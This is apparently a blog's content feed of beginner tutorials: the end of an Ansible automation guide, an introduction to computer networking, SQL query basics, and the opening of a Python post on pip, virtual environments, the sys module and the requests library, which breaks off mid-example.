hosts: all become: true tasks: - name: Install apache and PHP (Ubuntu) apt: name: - apache2 - libapache2-mod-php state: latest update_cache: yes when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - name: Install apache and PHP (CentOS) dnf: name: - httpd - php state: latest update_cache: yes when: ansible_distribution == \u0026#34;CentOS\u0026#34; Using Variables for Package Names\nDefine package names per-host in your inventory:\n# Inventory file 192.168.1.1 apache_package=apache2 php_package=libapache2-mod-php 192.168.1.2 apache_package=apache2 php_package=libapache2-mod-php 192.168.1.3 apache_package=httpd php_package=php Then use the generic package module:\n--- - hosts: all become: true tasks: - name: Install apache and PHP package: name: - \u0026#34;{{ apache_package }}\u0026#34; - \u0026#34;{{ php_package }}\u0026#34; state: latest update_cache: yes Targeting Specific Nodes Organize your infrastructure into logical groups for targeted deployments.\nDefine Groups in Inventory\nUpdate your inventory file with groups:\n[web_servers] 192.168.1.1 192.168.1.3 [db_servers] 192.168.1.2 [file_servers] 192.168.1.4 Create a Site-Wide Playbook\nCreate site.yml targeting specific groups:\n--- - hosts: all become: true pre_tasks: - name: Install updates (CentOS) dnf: update_only: yes update_cache: yes when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Install updates (Ubuntu) apt: upgrade: dist update_cache: yes when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - hosts: web_servers become: true tasks: - name: Install apache and PHP (Ubuntu) apt: name: - apache2 - libapache2-mod-php state: latest when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - name: Install apache and PHP (CentOS) dnf: name: - httpd - php state: latest when: ansible_distribution == \u0026#34;CentOS\u0026#34; - hosts: db_servers become: true tasks: - name: Install MariaDB (CentOS) dnf: name: mariadb state: latest when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Install MariaDB (Ubuntu) apt: name: mariadb-server state: latest when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - hosts: file_servers become: true tasks: - name: Install Samba package: name: samba state: latest Note: pre_tasks run before the main tasks in each play. Ansible processes plays from top to bottom.\nUsing Tags Tags let you run specific parts of a playbook without executing the entire file.\nAdd Tags to Tasks\nUpdate site.yml with descriptive tags:\n--- - hosts: all become: true pre_tasks: - name: Install updates (CentOS) tags: always dnf: update_only: yes update_cache: yes when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Install updates (Ubuntu) tags: always apt: upgrade: dist update_cache: yes when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - hosts: web_servers become: true tasks: - name: Install apache and PHP (Ubuntu) tags: apache,apache2,ubuntu apt: name: - apache2 - libapache2-mod-php state: latest when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - name: Install apache and PHP (CentOS) tags: apache,centos,httpd dnf: name: - httpd - php state: latest when: ansible_distribution == \u0026#34;CentOS\u0026#34; - hosts: db_servers become: true tasks: - name: Install MariaDB (CentOS) tags: centos,db,mariadb dnf: name: mariadb state: latest when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Install MariaDB (Ubuntu) tags: db,mariadb,ubuntu apt: name: mariadb-server state: latest when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - hosts: file_servers become: true tasks: - name: Install Samba tags: samba package: name: samba state: latest Run Specific Tags\nList available tags:\nansible-playbook --list-tags site.yml Run only CentOS-related tasks:\nansible-playbook --tags centos --ask-become-pass site.yml Run multiple tags:\nansible-playbook --tags \u0026#34;apache,db\u0026#34; --ask-become-pass site.yml Managing Files Ansible can deploy configuration files and download remote assets.\nCopy Local Files\nCreate a files directory for your assets:\nmkdir files Create a sample HTML file (files/default_site.html):\n\u0026lt;html\u0026gt; \u0026lt;title\u0026gt;Web-site test\u0026lt;/title\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p\u0026gt;Ansible is awesome!\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Add a task to copy the file:\n- name: Copy default HTML file for site tags: apache,apache2,httpd copy: src: default_site.html dest: /var/www/html/index.html owner: root group: root mode: 0644 Download and Extract Remote Files\nInstall Terraform from a remote source:\n- hosts: workstations become: true tasks: - name: Install unzip package: name: unzip - name: Install Terraform unarchive: src: https://releases.hashicorp.com/terraform/0.12.28/terraform_0.12.28_linux_amd64.zip dest: /usr/local/bin remote_src: yes mode: 0755 owner: root group: root Add workstations to your inventory and distribute the Ansible key:\n# Add to inventory [workstations] 192.168.1.5 # Copy SSH key ssh-copy-id -i ~/.ssh/ansible.pub \u0026lt;workstation-ip\u0026gt; Managing Services Control system services (start, stop, enable, restart) using the service module.\nStart and Enable Services\nFor CentOS, ensure Apache starts automatically:\n- name: Start and enable httpd (CentOS) tags: apache,centos,httpd service: name: httpd state: started enabled: yes when: ansible_distribution == \u0026#34;CentOS\u0026#34; Conditionally Restart Services\nRestart a service only when configuration changes:\n- name: Change admin email address tags: apache,centos,httpd lineinfile: path: /etc/httpd/conf/httpd.conf regexp: \u0026#39;^ServerAdmin\u0026#39; line: ServerAdmin somebody@somewhere.net when: ansible_distribution == \u0026#34;CentOS\u0026#34; register: httpd_config - name: Restart httpd if config changed tags: apache,centos,httpd service: name: httpd state: restarted when: httpd_config.changed Adding Users and Bootstrapping Create users, authorize SSH keys, and configure sudo access.\nCreate a User\nAdd a user across all hosts:\n- hosts: all become: true tasks: - name: Create ben user tags: always user: name: ben groups: root Add SSH Key and Sudo Access\nAuthorize the user\u0026rsquo;s key and configure passwordless sudo:\n- name: Add SSH key for ben tags: always authorized_key: user: ben key: \u0026#34;\u0026lt;content-of-ansible.pub\u0026gt;\u0026#34; - name: Add sudoers file for ben tags: always copy: src: sudoer_ben dest: /etc/sudoers.d/ben owner: root group: root mode: 0440 Create files/sudoer_ben:\nben ALL=(ALL) NOPASSWD: ALL Test the Configuration\nVerify passwordless login and sudo:\n# Test SSH access ssh -i ~/.ssh/ansible ben@\u0026lt;target-server-ip\u0026gt; # Test sudo privileges sudo apt update Configure Ansible to Use the New User\nUpdate ansible.cfg:\n[defaults] inventory = inventory private_key_file = ~/.ssh/ansible remote_user = ben Now you can run playbooks without --ask-become-pass:\nansible-playbook site.yml Separate Bootstrap Tasks\nCreate bootstrap.yml for initial server setup:\n--- - hosts: all become: true pre_tasks: - name: Install updates (CentOS) tags: always dnf: update_only: yes update_cache: yes when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Install updates (Ubuntu) tags: always apt: upgrade: dist update_cache: yes when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - hosts: all become: true tasks: - name: Create ben user tags: always user: name: ben groups: root - name: Add SSH key for ben tags: always authorized_key: user: ben key: \u0026#34;\u0026lt;content-of-ansible.pub\u0026gt;\u0026#34; - name: Add sudoers file for ben tags: always copy: src: sudoer_ben dest: /etc/sudoers.d/ben owner: root group: root mode: 0440 Simplify site.yml to remove user creation tasks, keeping only pre_tasks for updates.\nRun bootstrap once, then use site.yml for ongoing management:\n# Initial setup (requires password) ansible-playbook --ask-become-pass bootstrap.yml # Ongoing management (passwordless) ansible-playbook site.yml Organizing with Roles Roles provide a standardized directory structure for organizing related tasks, files, and configurations.\nCreate Role Structure\nBack up your current playbook and create role directories:\ncp site.yml site_before_roles.yml mkdir -p roles/{base,db_servers,file_servers,web_servers,workstations}/tasks Delegate to Roles\nSimplify site.yml to reference roles:\n--- - hosts: all become: true pre_tasks: - name: Update repository index (CentOS) tags: always dnf: update_cache: yes changed_when: false when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Update repository index (Ubuntu) tags: always apt: update_cache: yes changed_when: false when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - hosts: all become: true roles: - base - hosts: workstations become: true roles: - workstations - hosts: web_servers become: true roles: - web_servers - hosts: db_servers become: true roles: - db_servers - hosts: file_servers become: true roles: - file_servers Create Role Task Files\nBase role (roles/base/tasks/main.yml):\n- name: Add SSH key for ben authorized_key: user: ben key: \u0026#34;\u0026lt;ansible-pub-key\u0026gt;\u0026#34; Database role (roles/db_servers/tasks/main.yml):\n- name: Install MariaDB (CentOS) tags: centos,db,mariadb dnf: name: mariadb state: latest when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Install MariaDB (Ubuntu) tags: db,mariadb,ubuntu apt: name: mariadb-server state: latest when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; File server role (roles/file_servers/tasks/main.yml):\n- name: Install Samba tags: samba package: name: samba state: latest Workstation role (roles/workstations/tasks/main.yml):\n- name: Install unzip package: name: unzip - name: Install Terraform unarchive: src: https://releases.hashicorp.com/terraform/0.12.28/terraform_0.12.28_linux_amd64.zip dest: /usr/local/bin remote_src: yes mode: 0755 owner: root group: root Web server role (roles/web_servers/tasks/main.yml):\n- name: Install httpd and PHP (CentOS) tags: apache,centos,httpd dnf: name: - httpd - php state: latest when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Start and enable httpd (CentOS) tags: apache,centos,httpd service: name: httpd state: started enabled: yes when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Install apache2 and PHP (Ubuntu) tags: apache,apache2,ubuntu apt: name: - apache2 - libapache2-mod-php state: latest when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - name: Change admin email address tags: apache,centos,httpd lineinfile: path: /etc/httpd/conf/httpd.conf regexp: \u0026#39;^ServerAdmin\u0026#39; line: ServerAdmin somebody@somewhere.net when: ansible_distribution == \u0026#34;CentOS\u0026#34; register: httpd_config - name: Restart httpd if config changed tags: apache,centos,httpd service: name: httpd state: restarted when: httpd_config.changed - name: Copy HTML file for site tags: apache,apache2,httpd copy: src: default_site.html dest: /var/www/html/index.html owner: root group: root mode: 0644 Move web server files to the role:\nmkdir roles/web_servers/files cp files/default_site.html roles/web_servers/files/ Run the refactored playbook:\nansible-playbook site.yml Host Variables and Handlers Use variables to customize behavior per-host and handlers to respond to changes.\nDefine Host Variables\nCreate a directory for host-specific variables:\nmkdir host_vars Create a variable file for each host (filename must match inventory entry):\n# host_vars/192.168.1.1.yml apache_package_name: apache2 apache_service: apache2 php_package_name: libapache2-mod-php Copy and customize for other hosts:\n# host_vars/192.168.1.3.yml (CentOS) apache_package_name: httpd apache_service: httpd php_package_name: php Update Web Server Role\nUse variables in roles/web_servers/tasks/main.yml:\n- name: Install apache and PHP packages tags: apache,httpd,php package: name: - \u0026#34;{{ apache_package_name }}\u0026#34; - \u0026#34;{{ php_package_name }}\u0026#34; state: latest - name: Start and enable apache service tags: apache,httpd service: name: \u0026#34;{{ apache_service }}\u0026#34; state: started enabled: yes - name: Change admin email address tags: apache,centos,httpd lineinfile: path: /etc/httpd/conf/httpd.conf regexp: \u0026#39;^ServerAdmin\u0026#39; line: ServerAdmin somebody@somewhere.net when: ansible_distribution == \u0026#34;CentOS\u0026#34; notify: restart_apache - name: Copy HTML file for site tags: apache,apache2,httpd copy: src: default_site.html dest: /var/www/html/index.html owner: root group: root mode: 0644 Create a Handler\nCreate roles/web_servers/handlers/main.yml:\n- name: restart_apache service: name: \u0026#34;{{ apache_service }}\u0026#34; state: restarted Key advantage: Handlers run only once at the end of the play, even if notified multiple times. This is more efficient than using register with when: changed for service restarts.\nWorking with Templates Templates let you deploy configuration files with customized content per-host using Jinja2 syntax.\nGather Source Configuration Files\nCopy SSH configuration files from your servers as templates:\n# Create templates directory mkdir roles/base/templates # Copy from Ubuntu server cp /etc/ssh/sshd_config roles/base/templates/sshd_config_ubuntu.j2 # Copy from CentOS server (temporarily make it readable) scp \u0026lt;centos-ip\u0026gt;:/etc/ssh/sshd_config roles/base/templates/sshd_config_centos.j2 Make Configurations Dynamic\nEdit both template files and add a variable for allowed users:\n# In both sshd_config_ubuntu.j2 and sshd_config_centos.j2 AllowUsers {{ ssh_users }} Define Template Variables\nUpdate host variable files:\n# Ubuntu hosts apache_package_name: apache2 apache_service: apache2 php_package_name: libapache2-mod-php ssh_users: \u0026#34;ben ansible\u0026#34; ssh_template_file: sshd_config_ubuntu.j2 # CentOS hosts apache_package_name: httpd apache_service: httpd php_package_name: php ssh_users: \u0026#34;ben ansible\u0026#34; ssh_template_file: sshd_config_centos.j2 Deploy Templates\nUpdate roles/base/tasks/main.yml:\n- name: Add SSH key for ben authorized_key: user: ben key: \u0026#34;\u0026lt;ansible-pub-key\u0026gt;\u0026#34; - name: Generate sshd_config from template tags: ssh template: src: \u0026#34;{{ ssh_template_file }}\u0026#34; dest: /etc/ssh/sshd_config owner: root group: root mode: 0644 notify: restart_sshd Create the handler (roles/base/handlers/main.yml):\n- name: restart_sshd service: name: sshd state: restarted Deploy the configuration:\nansible-playbook site.yml Summary We\u0026rsquo;ve covered the complete Ansible workflow from initial SSH setup through advanced patterns like roles and templates.\nKey takeaways:\nInventory files define your infrastructure Playbooks declare desired state in YAML Modules (like apt, copy, template) perform the actual work Roles organize your automation into reusable components Variables and templates customize behavior per-host Handlers efficiently respond to configuration changes This foundation prepares you to manage infrastructure at scale with Ansible.\n","permalink":"https://onebee.blog/blog/collection/foundations/ansible-101/","summary":"Collection | Foundations | Ansible 101","title":"Foundations | Ansible 101"},{"content":"Attribution\nThese notes are based on Chapter 1 of Computer Networking: A Top-Down Approach (8th edition) by Jim Kurose and Keith Ross. If you\u0026rsquo;re new to networking, we highly recommend this book.\nThe Internet Explained Simply The Internet is one of the most complex systems humans have ever built. Billions of devices, countless apps, and millions of miles of cables \u0026ndash; all working together to let you watch cat videos and video call your mom.\nBut here\u0026rsquo;s the thing: it\u0026rsquo;s not as overwhelming as it looks. Underneath all that complexity are simple principles that make everything work. This chapter gives you the big picture before we dive into the details.\nWe\u0026rsquo;ll start at the edge \u0026ndash; your phone, laptop, and smart fridge \u0026ndash; then move to the core \u0026ndash; the routers and cables that move data around.\nAlong the way, we\u0026rsquo;ll cover:\nHow data actually travels (spoiler: it\u0026rsquo;s broken into packets) Why sometimes things are slow (delay, loss, and throughput) The \u0026rsquo;layered\u0026rsquo; approach that keeps everything organized Basic security threats and how to defend against them What Is the Internet, Really? You can think about the Internet in two ways:\nThe Hardware View The Internet connects billions of devices \u0026ndash; computers, phones, tablets, smart thermostats, you name it. Data travels as packets (small chunks of information) through packet switches (routers and switches) that direct traffic, just like intersections direct cars.\nThe players:\nISPs (Internet Service Providers) – Companies like Comcast or Verizon that connect you to the Internet Protocols – Rules that devices follow to communicate (TCP/IP is the big one) Communication links – Cables, fiber optics, and wireless signals that carry data The Services View Think of the Internet as a delivery service for applications. When you use Instagram or Netflix, you\u0026rsquo;re using a distributed application \u0026ndash; software running on multiple computers that talk to each other over the network.\nYour computer uses the socket interface (basically, a set of rules) to send and receive data \u0026ndash; like following the rules of the postal service to mail a letter. You don\u0026rsquo;t need to know how the mail truck works; you just need to put the right stamp in the right place.\nWhat Is a Protocol? A protocol is just a set of rules for communication.\nThink of it like etiquette at a dinner party:\nYou wait for someone to finish speaking before you talk You introduce yourself before asking personal questions You say \u0026lsquo;goodbye\u0026rsquo; when you leave Network protocols work the same way. They define:\nWhat format messages take (like the structure of a letter) What order messages are sent (handshake first, data second) What to do when you receive a message (acknowledge it, respond, etc.) Without shared protocols, devices are like two people speaking different languages \u0026ndash; no communication possible.\nThe Network Edge: Where You Connect The network edge is simply where your devices connect to the Internet. These devices are called end systems or hosts.\nClients vs. Servers Role What It Does Examples Client Requests data and services Your phone, laptop, web browser Server Provides data and services Google servers, Netflix servers, email servers Servers are typically powerful computers in data centers; clients are the devices in your hands.\nHow You Connect: Access Networks Home Internet Options:\nDSL – Uses existing phone lines. Slower but widely available. Cable – Uses TV cable infrastructure. Faster than DSL. Fiber (FTTH) – Fiber optic cables straight to your home. The fastest option but not everywhere. 5G Fixed Wireless – High-speed internet through cellular towers. Good where cables aren\u0026rsquo;t practical. Enterprise Networks:\nEthernet – Wired connections using twisted-pair cables. Reliable and fast. WiFi – Wireless networking (802.11 standards). Convenient for mobile devices. Mobile Networks:\n3G, 4G LTE, 5G – Cellular networks that let you access the Internet on the go. 5G is the newest and fastest. The Physical Stuff: Cables and Waves Data has to travel through something. Here are the options:\nMedium What It Is Best For Twisted-pair copper Traditional Ethernet cables Short distances, low cost Coaxial cable Thick copper cable with shielding Cable TV and internet Fiber optics Thin glass strands carrying light Long distances, high speed, immune to interference Radio waves Wireless signals through the air WiFi, cellular, Bluetooth Satellites Signals bounced off space satellites Remote areas without cables Fiber is the gold standard \u0026ndash; super fast and reliable \u0026ndash; but expensive to install everywhere. Radio is convenient but can suffer from interference. Satellites cover remote areas but introduce delays because of the distance signals must travel.\nThe Network Core: How Data Moves The network core is the mesh of routers and links that move packets from source to destination.\nPacket Switching vs. Circuit Switching Packet Switching (what the Internet uses):\nData is broken into packets Each packet travels independently Packets can take different routes Resources are shared (efficient) Like sending individual cars through a road network Circuit Switching (old telephone networks):\nA dedicated path is established before communication starts Resources are reserved end-to-end Guaranteed performance but wasteful if not fully used Like having a private highway lane just for your call The Internet uses packet switching because it\u0026rsquo;s more efficient. When you\u0026rsquo;re not sending data, someone else can use that bandwidth.\nHow the Internet Is Organized: A Network of Networks The Internet isn\u0026rsquo;t one big network \u0026ndash; it\u0026rsquo;s networks connected to other networks:\nAccess ISPs – Connect homes and businesses (your local ISP) Regional ISPs – Connect access ISPs to bigger networks Tier-1 ISPs – The big players (AT\u0026amp;T, Sprint, etc.) that span countries and continents Key concepts:\nPeering – ISPs of similar size connect directly to exchange traffic (saves money) IXPs – Internet Exchange Points where multiple ISPs meet to swap data Content provider networks – Companies like Google run their own networks to get closer to users Delays, Loss, and Speed In a perfect world, data would travel instantly. In reality, four things slow it down:\nThe Four Delays Processing delay – Time for a router to look at a packet and decide where to send it Queuing delay – Time spent waiting in line at a busy router Transmission delay – Time to push all the bits onto the wire (depends on file size and connection speed) Propagation delay – Time for signals to travel through the wire (depends on distance) Think of it like a toll booth:\nProcessing = the attendant taking your money Queuing = waiting in line Transmission = the time to drive through the booth Propagation = travel time between toll booths Packet Loss Routers have limited memory (buffers). When traffic is heavy and the buffer fills up, new packets get dropped (lost). This is why video calls sometimes freeze or quality drops during congestion.\nThroughput Throughput is the actual rate of successful data transfer, measured in bits per second.\nThe bottleneck link \u0026ndash; the slowest hop in the path \u0026ndash; determines your overall throughput. Even if you have gigabit fiber to your house, downloading from a slow server means slow downloads.\nProtocol Layers: Organizing the Chaos The Internet is complex, so engineers organize it into layers. Each layer has a specific job and talks to the layer above and below it.\nThink of it like mailing a package:\nLayer Analogy Networking Role Application Writing the letter Apps (browsers, email) create and use data Transport Packaging the letter TCP/UDP ensures data gets there reliably (or quickly) Network Addressing the envelope IP routes packets across the Internet Link Loading the mail truck Ethernet/WiFi moves data between nearby devices Physical The truck driving Actual wires, radio waves, and signals Encapsulation: Adding Headers As data moves down through layers, each layer adds its own header (control information):\nApplication creates a message Transport adds its header \u0026ndash;\u0026gt; becomes a segment Network adds its header \u0026ndash;\u0026gt; becomes a datagram Link adds its header \u0026ndash;\u0026gt; becomes a frame Physical sends it as bits At the destination, each layer removes its header and passes the data up. This is called encapsulation (and de-encapsulation).\nSecurity: Networks Under Attack The Internet was designed for communication, not security. Here are the main threats:\nAttack What It Does Defense Malware Viruses, worms, and ransomware that infect devices Don\u0026rsquo;t click suspicious links; keep software updated DDoS Floods a server with traffic to crash it Rate limiting; content delivery networks Packet sniffing Eavesdropping on network traffic Encryption (HTTPS, VPNs) IP spoofing Faking your IP address to impersonate someone Authentication; firewalls Man-in-the-middle Secretly intercepting and possibly altering communication Encryption; certificate validation The bottom line: The Internet trusts by default. Security is added on top through encryption, authentication, and careful design.\nKey Takeaways The Internet is a network of networks – Billions of devices connected through ISPs, routers, and protocols.\nPacket switching rules – Data is broken into packets that travel independently, making efficient use of shared resources.\nDelays are inevitable – Processing, queuing, transmission, and propagation all add delay. The bottleneck link determines your speed.\nLayers keep it organized – The five-layer stack (application, transport, network, link, physical) separates concerns and makes the system manageable.\nSecurity is an afterthought – The Internet wasn\u0026rsquo;t built with security in mind, so we add it through encryption, authentication, and vigilance.\n","permalink":"https://onebee.blog/blog/collection/foundations/networking-101/","summary":"Collection | Foundations | Networking 101","title":"Foundations | Networking 101"},{"content":"Attribution\nThis SQL 101 guide is based on our notes from the Google Cybersecurity course.\nIntroduction to SQL and Databases Databases allow us to store large amounts of data while keeping it quick and easy to access.\nWhat is a database?\nAn organized collection of information or data Can be accessed by multiple people simultaneously Can store massive amounts of data Can perform complex tasks while accessing data Spreadsheets work well for single users or small teams with smaller datasets. Databases handle larger scale.\nRelational database\nA structured database containing tables that are related to each other. Each table contains fields of information \u0026ndash; these are the columns of the table:\n----------------- employees (table) ----------------- employee_id (field) device_id (field) username (field) department (field) office (field) ----------------- Rows are called records. They contain specific data related to the columns in the table. Databases often contain multiple tables. Tables can connect to each other when they share a common column called a key.\nPrimary key\nA column where every row has a unique entry Must not have duplicate values, null values, or empty values Allows for unique identification of each row A table can have only one primary key Foreign key\nA column in a table that is a primary key in another table Can have empty values and duplicates Allows two tables to connect A table can have multiple foreign keys SQL (Structured Query Language)\nA programming language used to create, interact with, and request information from a database.\nQuery\nA request for data from a database table or combination of tables.\nLog\nA record of events that occur within an organization\u0026rsquo;s systems.\nAccessing SQL from Linux\nFrom the Linux command line with sqlite3.\nBasic Queries Keywords are not case-sensitive: SELECT works the same as select. Every query ends with a semicolon (;).\nSELECT employee_id, device_id FROM employees; SELECT * FROM employees; SELECT\nIndicates which columns to return SELECT * returns all columns (same as SELECT all) Always used with the FROM keyword FROM\nIndicates which table to query.\nSyntax\nThe rules that determine what is correctly structured in a computing language.\nQuerying a Database ORDER BY\nSorts the records returned by a query based on a specified column. Place it at the end of your query and specify which column to sort by.\nBy default, sorting is in ascending order. Numeric columns sort from smallest to largest. Text columns sort alphabetically from A to Z.\n-- Sorting in ascending order (default) SELECT customerid, city, country FROM customers ORDER BY city; -- Sorting in descending order -- Sorts numbers from largest to smallest, or text from Z to A SELECT customerid, city, country FROM customers ORDER BY city DESC; -- Sorting by multiple columns -- Sorts first by country, then by city for rows with the same country SELECT customerid, city, country FROM customers ORDER BY country, city; Basic Filters on SQL Queries Filtering\nSelecting data that matches a certain condition.\nOperator\nA symbol or keyword that represents an operation.\n-- Equal to symbol (=) country = \u0026#39;USA\u0026#39; WHERE\nIndicates the condition for a filter. List the specific condition after the WHERE keyword using operators.\nWHERE country = \u0026#39;USA\u0026#39; Filtering for Patterns\nUse the percentage sign (%) as a wildcard for unspecified characters. When using wildcards, use the LIKE operator instead of the equals sign (=).\n-- Returns all records that start with \u0026#34;East\u0026#34; East% Wildcard\nA special character that can be substituted with any other character. Can be placed after a string, before a string, or both.\n% (percentage sign): Substitutes for any number of characters _ (underscore): Substitutes for exactly one character LIKE\nUsed with WHERE to search for a pattern in a column.\nWHERE office LIKE \u0026#39;East%\u0026#39; SELECT * FROM log_in_attempts WHERE country LIKE \u0026#39;US%\u0026#39;; More SQL Filters Filtering Dates and Numbers\nSELECT * FROM log_in_attempts WHERE time \u0026gt; \u0026#39;18:00\u0026#39;; String Data\nData consisting of an ordered sequence of characters. Characters can be numbers, letters, or symbols.\nNumeric Data\nData consisting of numbers. We can perform mathematical operations on numeric data like multiplication or addition.\nDate and Time Data\nData representing a date and/or time.\nCommon Operators\n= (equal to) \u0026gt; (greater than) \u0026lt; (less than) \u0026lt;\u0026gt; or != (not equal to) \u0026gt;= (greater than or equal to) \u0026lt;= (less than or equal to) BETWEEN\nAn operator that filters for numbers or dates within a range. Works with numeric data and date/time data. It is inclusive, meaning it includes the boundary values.\nSELECT * FROM machines WHERE OS_patch_date BETWEEN \u0026#39;2021-03-01\u0026#39; AND \u0026#39;2021-09-01\u0026#39;; Operators for Filtering Dates and Numbers Exclusive Operator\nAn operator that does not include the comparison value, such as \u0026gt;.\nInclusive Operator\nAn operator that includes the comparison value, such as \u0026gt;=.\nFilters with AND, OR, and NOT AND \u0026ndash; Both conditions must be met simultaneously.\nSELECT * FROM machines WHERE operating_system = \u0026#39;OS 1\u0026#39; AND email_client = \u0026#39;Email Client 1\u0026#39;; OR \u0026ndash; Either condition can be met.\nSELECT * FROM machines WHERE operating_system = \u0026#39;OS 1\u0026#39; OR operating_system = \u0026#39;OS 3\u0026#39;; NOT \u0026ndash; Negates a condition. Works on a single condition only.\n-- Using NOT SELECT * FROM machines WHERE NOT operating_system = \u0026#39;OS 3\u0026#39;; -- Using \u0026lt;\u0026gt; (not equal) SELECT * FROM machines WHERE operating_system \u0026lt;\u0026gt; \u0026#39;OS 3\u0026#39;; -- Using != (not equal) SELECT * FROM machines WHERE operating_system != \u0026#39;OS 3\u0026#39;; Combining Logical Operators Logical operators can be combined in filters.\nSELECT firstname, lastname, email, country FROM customers WHERE NOT country = \u0026#39;Canada\u0026#39; AND NOT country = \u0026#39;USA\u0026#39;; SQL Joins Joins help when we need information from two different tables. SQL needs to know which column we are referring to. We specify this by writing the table name, a period, then the column name: employees.employee_id and machines.employee_id.\nNULL represents a missing value.\nINNER JOIN\nReturns rows that match on a specified column existing in both tables. It only returns records that share a value in the specified columns.\nSELECT username, office, operating_system FROM employees INNER JOIN machines ON employees.employee_id = machines.employee_id; Types of Joins\nSometimes we need all entries from one or both tables. These are called outer joins. They use the same syntax as inner joins:\n\u0026lt;JOIN_TYPE\u0026gt; table ON employees.employee_id = machines.employee_id; Types of Outer Joins\nLEFT JOIN \u0026ndash; Returns all records from the first table and only matching records from the second table RIGHT JOIN \u0026ndash; Returns all records from the second table and only matching records from the first table FULL OUTER JOIN \u0026ndash; Returns all records from both tables LEFT JOIN\nReturns all records from the first table, but only returns rows from the second table that match on the specified column. Non-matching rows from the first table are still returned, with NULL values in columns from the second table.\nRIGHT JOIN\nReturns all records from the second table, but only returns rows from the first table that match on the specified column.\nFULL OUTER JOIN\nReturns all records from both tables. If a row lacks a value for a particular column, it returns NULL.\nAggregate Functions\nFunctions that perform a calculation over multiple data points and return the result. The actual data is not returned \u0026ndash; only the calculation result.\nCOUNT: Returns the number of rows returned by the query AVG: Returns the average of the numerical data in a column SUM: Returns the sum of the numerical data in a column (excludes NULL values) Aggregate Function Syntax\nPlace the function after SELECT, with the column name in parentheses.\nSELECT COUNT(firstname) FROM customers; -- Returns a table with one column titled \u0026#39;COUNT(firstname)\u0026#39; -- and one row showing the count SELECT COUNT(firstname) FROM customers WHERE country = \u0026#39;USA\u0026#39;; ","permalink":"https://onebee.blog/blog/collection/foundations/sql-101/","summary":"Collection | Foundations | SQL 101","title":"Foundations | SQL 101"},{"content":"Attribution\nThis introduction to Python is based on our notes from the TCM Security - Python 101 for Hackers course by Riley Kidd.\nWe highly recommend this course as a starting point for learning Python \u0026ndash; it was instrumental in building our understanding. A big thank you to the TCM Security team for providing such valuable resources!\nExtending Python Package Managers A package is a bundle of files required for a module to work. Modules are libraries of existing code that we can import and use in our programs. pip is Python\u0026rsquo;s standard package manager.\nInstalling packages:\npip install pwntools # install pwntools -- newest release pip install pwntools==4.13.0 # install a specific version Verifying the installation:\nfrom pwn import * exit() Other useful operations:\npip uninstall pwntools # uninstall package pip list # list installed libraries pip freeze # create a list of installed libraries Using a requirements file:\nFor projects with multiple dependencies, we can use a requirements.txt file:\npwntools==4.13.0 py-cpuinfo==9.0.0 py-sneakers==1.0.1 Install everything at once: pip install -r requirements.txt\nVirtual Environments Virtual environments solve dependency conflicts by creating isolated Python environments. Each environment is independent \u0026ndash; it doesn\u0026rsquo;t interfere with other environments or system packages. By default, a new virtual environment starts as a clean slate with no packages installed.\nInstallation:\npip install virtualenv # or sudo apt install python3.11-venv Usage:\nmkdir virtual-demo; cd virtual-demo # create working dir python3 -m venv env # create virtual environment source env/bin/activate # activate the environment pip install pwntools # install pwntools deactivate # deactivate the environment The SYS Module The sys module provides functions and variables related to the Python runtime environment. It comes packaged with Python and gives us access to command-line arguments and low-level system functions.\n# play around with commenting/uncommenting as you see fit import sys # version information of the python interpreter print(sys.version) # current executable binary print(sys.executable) # current platform print(sys.platform) # read from standard input -- stdin -- (filehandle) #for line in sys.stdin: #\tif line.strip() == \u0026#34;exit\u0026#34;: #\tbreak #\tsys.stdout.write(\u0026#34;\u0026gt;\u0026gt; {}\u0026#34;.format(line)) # flush the buffer for i in range(1,5): sys.stdout.write(str(i)) sys.stdout.flush() # flush the buffer for i in range(1,5): print(i) # cool status bar denoting the progress of cracking import time for i in range(0, 51): # time.sleep(0.1) time.sleep(0) # to speed up execution for testing # use carrige return \\r to jump to the start of the line each time sys.stdout.write(\u0026#34;{} [{}{}]\\r\u0026#34;.format(i, \u0026#39;#\u0026#39;*i, \u0026#34;.\u0026#34;*(50-i))) sys.stdout.flush() sys.stdout.write(\u0026#34;\\n\u0026#34;) # ACCESSING COMMAND LINE ARGUMENTS # list of the command line arguments print(sys.argv) # check number of args if len(sys.argv) != 3: print(\u0026#34;[X] To run {} enter a username and password\u0026#34;.format(sys.argv[0])) sys.exit(5) # assigning the cmd arguments username = sys.argv[1] password = sys.argv[2] print(\u0026#34;{} {}\u0026#34;.format(username, password)) # access the path where python will search for modules print(sys.path) print(\u0026#34;-\u0026#34;*50) # access the modules we have access to print(sys.modules) # exit code # return value after script is executed # indicating running success or failure # if everything went fine --\u0026gt; 0 # verify it with `echo $?` sys.exit(0) The REQUESTS Module The requests library lets us make and process HTTP requests. For testing, we can use httpbin.org, which reflects our data back to us.\nIf it\u0026rsquo;s not installed, run pip install requests (though it comes preinstalled on Kali). By default, requests follows redirects for all HTTP verbs except HEAD.\n# play around with commenting/uncommenting as you see fit import requests # x = requests.get(\u0026#39;http://httpbin.org/get\u0026#39;) # # test the service -- `curl -I http://httpbin.org/get` # # -- (-I:fetch the headers only) # # check the headers # print(x.headers) # # check a specific header # print(x.headers[\u0026#39;Server\u0026#39;]) # # check status code # print(x.status_code) # if x.status_code == 200: # print(\u0026#34;Success!\u0026#34;) # elif x.status_code == 404: # # like for x 